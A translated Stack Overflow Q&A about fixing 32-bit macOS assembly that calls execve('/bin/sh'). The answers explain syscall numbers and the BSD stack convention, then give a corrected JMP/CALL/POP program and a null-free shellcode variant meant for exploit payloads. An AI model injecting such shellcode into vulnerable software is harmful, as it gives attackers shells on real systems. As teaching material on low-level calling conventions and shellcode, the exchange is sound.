【问题标题】:Why syscall doesn't work?为什么系统调用不起作用?
【发布时间】:2017-09-12 10:12:16
【问题描述】:

我在 MAC OSX 上,我正在尝试通过汇编调用 execve 系统调用.. 他的操作码是 59 。 在linux中我必须将操作码设置为eax,然后将参数设置为其他寄存器,但这里我必须将操作码放入eax并从右到左将参数推入堆栈。

所以我需要 execve("/bin/sh",NULL,NULL),我在某个地方发现了程序集 null=0,所以我将 null 放入第二个和第三个参数中。

global start 
section .text
start:
    jmp string
main: 
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    int 0x80
string:
    call main
    db '/bin/sh',0

当我尝试执行它时说: 错误的系统调用:12

【问题讨论】:

  • 您是否打算编写 shell 代码漏洞利用程序?我问是因为不清楚你的目标是什么,也不确定你是否知道这种代码不是编写普通程序的传统方式。
  • 关于系统调用调用约定的规范问答是 stackoverflow.com/questions/2535989/…,包括 32 位 OS X / FreeBSD。

标签: macos assembly x86 nasm shellcode


【解决方案1】:

您正在使用 64 位系统调用号和 32 位指令跳转到系统调用。那是行不通的。

对于 32 位用户:

Linux/MacOS execve 的操作码:11
调用系统调用的指令:int 0x80

对于 64 位用户:

Linux execve 的操作码:59(MacOS 64 位系统调用也设置了高位)。
调用系统调用的指令:syscall

将args传递给系统调用的方法也不同:32位使用堆栈,64位使用类似于函数调用约定的寄存器。

【讨论】:

    【解决方案2】:

    BSD(OS/X 所基于)上的 32 位程序如果您打算直接调用 int 0x80,则需要将额外的 4 个字节压入堆栈。从FreeBSD documentation 你会发现这个:

    默认情况下,FreeBSD 内核使用 C 调用约定。此外,虽然使用 int 80h 访问内核,但假定程序将调用发出 int 80h 的函数,而不是直接发出 int 80h。

    [剪辑]

    但是汇编语言程序员喜欢缩短周期。上面的例子需要一个 call/ret 组合。我们可以通过推送一个额外的 dword 来消除它:

    open:
    push    dword mode
    push    dword flags
    push    dword path
    mov eax, 5
    push    eax     ; Or any other dword
    int 80h
    add esp, byte 16
    

    调用int 0x80 时,需要将堆栈指针调整4。压入任何值都可以实现这一点。在示例中,他们只是执行push eax。在调用 int 0x80 之前将 4 个字节压入堆栈。

    您的另一个问题是 add eax,0x3b 例如要求 EAX 已经为零,这几乎不可能是这种情况。要解决此问题,请在代码中添加 xor eax, eax

    修复可能类似于:

    global start
    section .text
    start:
        jmp string
    main:
        ; 59 opcode
        ; int execve(char *fname, char **argp, char **envp);
        xor eax, eax        ;zero EAX
        pop ebx             ;stringa
        push 0x0            ;3rd param
        push 0x0            ;2nd param
        push ebx            ;1st param
        add eax,0x3b        ;execve opcode
        push eax            ;Push a 4 byte value after parameters per calling convention
        int 0x80            ;interupt
        sub eax,0x3a        ; exit opcode
        push eax            ;Push a 4 byte value after parameters per calling convention
                            ; in this case though it won't matter since the system call
                            ; won't be returning
        int 0x80
    string:
        call main
        db '/bin/sh',0
    

    外壳代码

    您的代码实际上称为 JMP/CALL/POP 方法,用于编写漏洞利用程序。您是在编写漏洞利用程序还是只是在网上找到了此代码?如果打算将其用作 shell 代码,则需要避免在输出字符串中放置 0x00 字节。 push 0x00 将在生成的代码中编码 0x00 字节。为了避免这种情况,我们可以使用 EAX,我们现在将其归零并将其压入堆栈。同样,您将无法 NUL 终止字符串,因此您必须将 NUL(0) 字符移动到字符串中。将 EAX 归零并弹出 EBX 之后的一种方法是手动将零移动到字符串的末尾,例如 mov [ebx+7], al。七是字符串/bin/sh 之后的索引。您的代码将如下所示:

    global start
    section .text
    start:
        jmp string
    main:
        ; 59 opcode
        ; int execve(char *fname, char **argp, char **envp);
        xor eax, eax        ;Zero EAX
        pop ebx             ;stringa
        mov [ebx+7], al     ;append a zero onto the end of the string '/bin/sh' 
        push eax            ;3rd param
        push eax            ;2nd param
        push ebx            ;1st param
        add eax,0x3b        ;execve opcode
        push eax
        int 0x80            ;interupt
        sub eax,0x3a        ; exit opcode
        push eax
        int 0x80
    string:
        call main
        db '/bin/sh',1
    

    【讨论】:

    • OS X 不遵循使用syscall 而不是int 0x80 的64 位约定?
    • @DavidHoelzer :OP 使用的是 32 位代码(否则它不会组装)。在 32 位代码中(在 64 位 OS/X 上)您会收到 Illegal instruction: 4 错误,因为 SYSCALL 不可用。 SYSCALL 仅在他生成 64 位代码时适用。
    • 啊,是的,你说得对。我在“OS X”之后不再思考。
    • Thanxs mate .. 非常有帮助 .. 但有时 shellcode 也可以在其中使用 \x00 .. 那为什么呢?
    • 我从一个人那里学会了跳跃和呼叫..我写了这个小程序集,我不擅长它
    猜你喜欢
    • 2021-01-13
    • 2020-06-12
    • 2015-05-03
    • 2014-09-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多